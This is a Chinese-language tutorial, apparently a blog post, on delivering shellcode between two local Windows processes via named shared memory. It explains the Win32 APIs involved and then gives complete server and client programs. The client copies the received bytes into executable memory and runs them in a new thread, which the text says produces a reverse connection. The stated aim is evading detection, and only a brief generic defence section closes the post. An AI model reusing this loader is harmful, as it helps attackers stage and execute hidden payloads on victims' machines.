在電腦保安領域,ShellCode是一段用於利用系統漏洞或執行特定任務的機器碼。為了增加攻擊的難度,研究人員經常探索新的傳遞ShellCode
的方式。本文介紹了一種使用共享記憶體的方法,透過該方法,兩個本地程式可以相互傳遞ShellCode,從而實現一種巧妙的本地傳輸手段。如果你問我為何在本地了還得這樣傳,那我只能說在某些時候我們可能會將ShellCode
打散,而作為客戶端也不需要時時刻刻在本地存放ShellCode
程式碼,這能保證客戶端的安全性。
服務端部分
CreateFileMapping
用於建立一個檔案對映物件,將檔案或者其他核心物件對映到程式的地址空間。這個函式通常用於共享記憶體的建立。
下面是 CreateFileMapping
函式的基本語法:
HANDLE CreateFileMapping(
HANDLE hFile,
LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
DWORD flProtect,
DWORD dwMaximumSizeHigh,
DWORD dwMaximumSizeLow,
LPCTSTR lpName
);
引數說明:
hFile
: 檔案控制程式碼,可以是一個磁碟檔案或者其他核心物件的控制程式碼。如果是INVALID_HANDLE_VALUE
,則表示建立一個只在記憶體中的對映,而不與檔案關聯。lpFileMappingAttributes
: 安全屬性,一般為NULL
,表示使用預設的安全設定。flProtect
: 記憶體保護選項,指定記憶體頁的保護屬性,例如讀、寫、執行等。常見的值有PAGE_READONLY
、PAGE_READWRITE
、PAGE_EXECUTE_READ
等。dwMaximumSizeHigh
和dwMaximumSizeLow
: 指定檔案對映物件的最大大小。如果對映的是一個檔案,可以透過這兩個引數指定檔案對映的大小。lpName
: 檔案對映物件的名字,如果是透過共享記憶體進行跨程式通訊,可以透過這個名字在不同的程式中開啟同一個檔案對映物件。
成功呼叫 CreateFileMapping
會返回一個檔案對映物件的控制程式碼,失敗則返回 NULL
。通常建立成功後,可以透過 MapViewOfFile
函式將檔案對映物件對映到當前程式的地址空間中,進行讀寫操作。
MapViewOfFile
用於將一個檔案對映物件對映到呼叫程式的地址空間中,使得程式可以直接操作對映區域的內容。
以下是 MapViewOfFile
函式的基本語法:
LPVOID MapViewOfFile(
HANDLE hFileMappingObject,
DWORD dwDesiredAccess,
DWORD dwFileOffsetHigh,
DWORD dwFileOffsetLow,
SIZE_T dwNumberOfBytesToMap
);
引數說明:
hFileMappingObject
: 檔案對映物件的控制程式碼,這個控制程式碼通常是透過CreateFileMapping
函式建立得到的。dwDesiredAccess
: 對映區域的訪問許可權,常見的值有FILE_MAP_READ
、FILE_MAP_WRITE
、FILE_MAP_EXECUTE
。dwFileOffsetHigh
和dwFileOffsetLow
: 檔案對映的起始位置。在這裡,通常指定為0,表示從檔案的開頭開始對映。dwNumberOfBytesToMap
: 指定對映的位元組數,通常可以設定為 0 表示對映整個檔案。
成功呼叫 MapViewOfFile
會返回對映檢視的起始地址,失敗則返回 NULL
。對映成功後,可以直接透過返回的地址進行讀寫操作。當不再需要對映時,應該透過 UnmapViewOfFile
函式解除對映。
CreateMutex
用於建立一個互斥體物件。互斥體(Mutex)是一種同步物件,用於確保在多執行緒或多程式環境中對資源的互斥訪問,防止多個執行緒或程式同時訪問共享資源,以避免資料競爭和衝突。
以下是 CreateMutex
函式的基本語法:
HANDLE CreateMutex(
LPSECURITY_ATTRIBUTES lpMutexAttributes,
BOOL bInitialOwner,
LPCTSTR lpName
);
引數說明:
lpMutexAttributes
: 一個指向SECURITY_ATTRIBUTES
結構的指標,決定了互斥體的安全性。通常可以設為NULL
,表示使用預設的安全描述符。bInitialOwner
: 一個布林值,指定互斥體的初始狀態。如果設定為TRUE
,表示建立互斥體時已經擁有它,這通常用於建立一個已經鎖定的互斥體。如果設定為FALSE
,則表示建立互斥體時未擁有它。lpName
: 一個指向包含互斥體名稱的空終止字串的指標。如果為NULL
,則建立一個匿名的互斥體;否則,建立一個具有指定名稱的互斥體。透過指定相同的名稱,可以在多個程式中共享互斥體。
成功呼叫 CreateMutex
會返回互斥體物件的控制程式碼,失敗則返回 NULL
。在使用完互斥體後,應該透過 CloseHandle
函式關閉控制程式碼以釋放資源。
CreateEvent
用於建立一個事件物件。事件物件是一種同步物件,用於實現多執行緒或多程式之間的通訊和同步。透過事件物件,可以使一個或多個執行緒等待某個事件的發生,從而協調它們的執行。
以下是 CreateEvent
函式的基本語法:
HANDLE CreateEvent(
LPSECURITY_ATTRIBUTES lpEventAttributes,
BOOL bManualReset,
BOOL bInitialState,
LPCTSTR lpName
);
引數說明:
lpEventAttributes
: 一個指向SECURITY_ATTRIBUTES
結構的指標,決定了事件物件的安全性。通常可以設為NULL
,表示使用預設的安全描述符。bManualReset
: 一個布林值,指定事件物件的復位型別。如果設定為TRUE
,則為手動復位;如果設定為FALSE
,則為自動復位。手動復位的事件需要透過ResetEvent
函式手動將其重置為非觸發狀態,而自動復位的事件會在一個等待執行緒被釋放後自動復位為非觸發狀態。bInitialState
: 一個布林值,指定事件物件的初始狀態。如果設定為TRUE
,表示建立事件物件時已經處於觸發狀態;如果設定為FALSE
,則表示建立事件物件時處於非觸發狀態。lpName
: 一個指向包含事件物件名稱的空終止字串的指標。如果為NULL
,則建立一個匿名的事件物件;否則,建立一個具有指定名稱的事件物件。透過指定相同的名稱,可以在多個程式中共享事件物件。
成功呼叫 CreateEvent
會返回事件物件的控制程式碼,失敗則返回 NULL
。在使用完事件物件後,應該透過 CloseHandle
函式關閉控制程式碼以釋放資源。
WaitForSingleObject
用於等待一個或多個核心物件的狀態變為 signaled。核心物件可以是事件、互斥體、訊號量等等。
以下是 WaitForSingleObject
函式的基本語法:
DWORD WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds
);
引數說明:
hHandle
: 要等待的核心物件的控制程式碼。可以是事件、互斥體、訊號量等。dwMilliseconds
: 等待的時間,以毫秒為單位。如果設為INFINITE
,表示無限等待,直到核心物件變為 signaled。
WaitForSingleObject
返回一個 DWORD
型別的值,表示等待的結果。可能的返回值包括:
WAIT_OBJECT_0
:核心物件已經變為 signaled 狀態。WAIT_TIMEOUT
:等待時間已過,但核心物件仍然沒有變為 signaled 狀態。WAIT_FAILED
:等待出錯,可以透過呼叫GetLastError
獲取詳細錯誤資訊。
這個函式是同步函式,呼叫它的執行緒會阻塞,直到等待的物件變為 signaled 狀態或者等待時間超時。
ReleaseMutex
用於釋放之前由 WaitForSingleObject
或 WaitForMultipleObjects
等函式獲取的互斥體物件的所有權。
以下是 ReleaseMutex
函式的基本語法:
BOOL ReleaseMutex(
HANDLE hMutex
);
引數說明:
hMutex
: 要釋放的互斥體物件的控制程式碼。
ReleaseMutex
返回一個 BOOL
型別的值,表示釋放互斥體物件是否成功。如果函式成功,返回值為非零;如果函式失敗,返回值為零。可以透過呼叫 GetLastError
獲取詳細錯誤資訊。
互斥體(Mutex)是一種同步物件,用於控制對共享資源的訪問。在多執行緒或者多程式環境中,互斥體可以確保在同一時刻只有一個執行緒或者程式能夠訪問被保護的共享資源。當一個執行緒或者程式成功獲取互斥體的所有權後,其他試圖獲取該互斥體所有權的執行緒或者程式將會被阻塞,直到擁有互斥體的執行緒或者程式呼叫 ReleaseMutex
釋放互斥體所有權。
SetEvent
用於將指定的事件物件的狀態設定為 signaled(有訊號)。該函式通常與等待函式(如 WaitForSingleObject
或 WaitForMultipleObjects
)一起使用,以實現執行緒之間或程式之間的同步。
以下是 SetEvent
函式的基本語法:
BOOL SetEvent(
HANDLE hEvent
);
引數說明:
hEvent
: 事件物件的控制程式碼。
SetEvent
函式返回一個 BOOL
型別的值,表示設定事件物件狀態是否成功。如果函式成功,返回值為非零;如果函式失敗,返回值為零。可以透過呼叫 GetLastError
獲取詳細錯誤資訊。
事件物件是一種同步物件,用於線上程或者程式之間發訊號。透過 SetEvent
可以將事件物件的狀態設定為 signaled,表示某個條件已經滿足,其他等待該事件物件的執行緒或者程式可以繼續執行。
有了上述API函式的支援,那麼實現這個服務端將變得很容易,如下所示則是服務端完整程式碼,透過建立一個共享記憶體池,並等待使用者按下簡單,當鍵盤被按下時則會自動填充緩衝區為特定內容。
#include <iostream>
#include <Windows.h>
#define BUF_SIZE 1024
HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;
char ShellCode[] = "此處是ShellCode";
using namespace std;
int main(int argc,char *argv[])
{
// 建立共享檔案控制程式碼
HANDLE shareFileHandle = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, BUF_SIZE, "SharedMem");
if (shareFileHandle == NULL)
{
return 1;
}
//對映緩衝區檢視,得到指向共享記憶體的指標
LPVOID lpBuf = MapViewOfFile(shareFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);
if (lpBuf == NULL)
{
CloseHandle(shareFileHandle);
return 1;
}
// 建立互斥器
H_Mutex = CreateMutex(NULL, FALSE, "sm_mutex");
H_Event = CreateEvent(NULL, FALSE, FALSE, "sm_event");
// 操作共享記憶體
while (true)
{
getchar();
// 使用互斥體加鎖,獲得互斥器的擁有權
WaitForSingleObject(H_Mutex, INFINITE);
memcpy(lpBuf, ShellCode, strlen(ShellCode) + 1);
ReleaseMutex(H_Mutex); // 放鎖
SetEvent(H_Event); // 啟用等待的程式
}
CloseHandle(H_Mutex);
CloseHandle(H_Event);
UnmapViewOfFile(lpBuf);
CloseHandle(shareFileHandle);
return 0;
}
客戶端部分
OpenFileMapping
用於開啟一個已存在的檔案對映物件,以便將它對映到當前程式的地址空間。檔案對映物件是一種用於在多個程式間共享記憶體資料的機制。
以下是 OpenFileMapping
函式的基本語法:
HANDLE OpenFileMapping(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
LPCTSTR lpName
);
引數說明:
dwDesiredAccess
: 指定對檔案對映物件的訪問許可權。可以使用標準的訪問許可權標誌,如FILE_MAP_READ
、FILE_MAP_WRITE
等。bInheritHandle
: 指定控制程式碼是否可以被子程式繼承。如果為TRUE
,子程式將繼承控制程式碼;如果為FALSE
,子程式不繼承控制程式碼。lpName
: 指定檔案對映物件的名稱。此名稱在系統內必須是唯一的。如果是NULL
,函式將開啟一個不帶名稱的檔案對映物件。
OpenFileMapping
函式返回一個檔案對映物件的控制程式碼。如果函式呼叫失敗,返回值為 NULL
。可以透過呼叫 GetLastError
獲取詳細錯誤資訊。
OpenEvent
用於開啟一個已存在的命名事件物件。事件物件是一種同步物件,用於在多個程式間進行通訊和同步。
以下是 OpenEvent
函式的基本語法:
HANDLE OpenEvent(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
LPCTSTR lpName
);
引數說明:
dwDesiredAccess
: 指定對事件物件的訪問許可權。可以使用標準的訪問許可權標誌,如EVENT_MODIFY_STATE
、EVENT_QUERY_STATE
等。bInheritHandle
: 指定控制程式碼是否可以被子程式繼承。如果為TRUE
,子程式將繼承控制程式碼;如果為FALSE
,子程式不繼承控制程式碼。lpName
: 指定事件物件的名稱。此名稱在系統內必須是唯一的。如果是NULL
,函式將開啟一個不帶名稱的事件物件。
OpenEvent
函式返回一個事件物件的控制程式碼。如果函式呼叫失敗,返回值為 NULL
。可以透過呼叫 GetLastError
獲取詳細錯誤資訊。
VirtualAlloc
用於在程式的虛擬地址空間中分配一段記憶體區域。這個函式通常用於動態分配記憶體,而且可以選擇性地將其初始化為零。
以下是 VirtualAlloc
函式的基本語法:
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
引數說明:
lpAddress
: 指定欲分配記憶體的首地址。如果為NULL
,系統將決定分配的地址。dwSize
: 指定欲分配記憶體的大小,以位元組為單位。flAllocationType
: 指定分配型別。可以是以下常量之一:MEM_COMMIT
:將記憶體提交為物理儲存(RAM或磁碟交換檔案)中的一頁或多頁。MEM_RESERVE
:為欲保留的記憶體保留地址空間而不分配任何物理儲存。MEM_RESET
:將記憶體區域的內容初始化為零。必須與MEM_COMMIT
一起使用。
flProtect
: 指定記憶體的訪問保護。可以是以下常量之一:PAGE_EXECUTE_READ
: 允許讀取並執行訪問。PAGE_READWRITE
: 允許讀寫訪問。
VirtualAlloc
函式返回一個指向分配的記憶體區域的指標。如果函式呼叫失敗,返回值為 NULL
。可以透過呼叫 GetLastError
獲取詳細錯誤資訊。
CreateThread
用於建立一個新的執行緒。執行緒是執行程式程式碼的單一路徑,一個程式可以包含多個執行緒,這些執行緒可以併發執行。
以下是 CreateThread
函式的基本語法:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
引數說明:
lpThreadAttributes
: 用於設定執行緒的安全屬性,通常設定為NULL
。dwStackSize
: 指定執行緒堆疊的大小,可以設定為 0 使用預設堆疊大小。lpStartAddress
: 指定執行緒函式的地址,新執行緒將從此地址開始執行。lpParameter
: 傳遞給執行緒函式的引數。dwCreationFlags
: 指定執行緒的建立標誌,通常設定為 0。lpThreadId
: 接收新執行緒的識別符號。如果為NULL
,則不接收執行緒識別符號。
CreateThread
函式返回一個新執行緒的控制程式碼。如果函式呼叫失敗,返回值為 NULL
。可以透過呼叫 GetLastError
獲取詳細錯誤資訊。
客戶端同樣建立記憶體對映,使用服務端建立的記憶體池,並在裡面取出ShellCode
執行後反彈,完整程式碼如下所示;
#include <iostream>
#include <Windows.h>
#include <winbase.h>
using namespace std;
HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;
int main(int argc, char* argv[])
{
// 開啟共享檔案控制程式碼
HANDLE sharedFileHandle = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "SharedMem");
if (sharedFileHandle == NULL)
{
return 1;
}
// 對映快取區檢視,得到指向共享記憶體的指標
LPVOID lpBuf = MapViewOfFile(sharedFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);
if (lpBuf == NULL)
{
CloseHandle(sharedFileHandle);
return 1;
}
H_Event = OpenEvent(EVENT_ALL_ACCESS, FALSE, "sm_event");
if (H_Event == NULL)
{
return 1;
}
char buffer[4096] = {0};
while (1)
{
HANDLE hThread;
// 互斥體接收資料並加鎖
WaitForSingleObject(H_Event, INFINITE);
WaitForSingleObject(H_Mutex, INFINITE); // 使用互斥體加鎖
memcpy(buffer, lpBuf, strlen((char*)lpBuf) + 1); // 接收資料到記憶體
ReleaseMutex(H_Mutex); // 放鎖
cout << "接收到的ShellCode: " << buffer << endl;
// 注入ShellCode並執行
void* ShellCode = VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(ShellCode, buffer, sizeof(buffer));
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
}
CloseHandle(H_Event);
CloseHandle(H_Mutex);
UnmapViewOfFile(lpBuf);
CloseHandle(sharedFileHandle);
return 0;
}
潛在風險和安全建議
雖然這種方法在本地攻擊場景中有一定的巧妙性,但也存在潛在的風險。以下是一些建議:
- 防禦共享記憶體濫用: 作業系統提供了一些機制,如使用 ACL(訪問控制列表)和安全描述符,可以限制對共享記憶體的訪問。合理配置這些機制可以減輕潛在的濫用風險。
- 加強系統安全策略: 使用強密碼、及時更新系統和應用程式、啟用防火牆等都是基礎的系統安全策略。這些都有助於防止潛在的Shellcode攻擊。
- 監控和響應: 部署實時監控和響應系統,能夠及時檢測到異常行為並採取相應措施,對於減緩潛在威脅的影響十分重要。
總結
本文介紹了透過共享記憶體傳遞Shellcode的方法,透過這種巧妙的本地攻擊方式,兩個程式可以在不直接通訊的情況下相互傳遞Shellcode。然而,使用這種技術需要非常謹慎,以免被濫用用於不當用途。在實際應用中,必須謹慎權衡安全性和便利性,同時配合其他防禦措施,確保系統的整體安全性。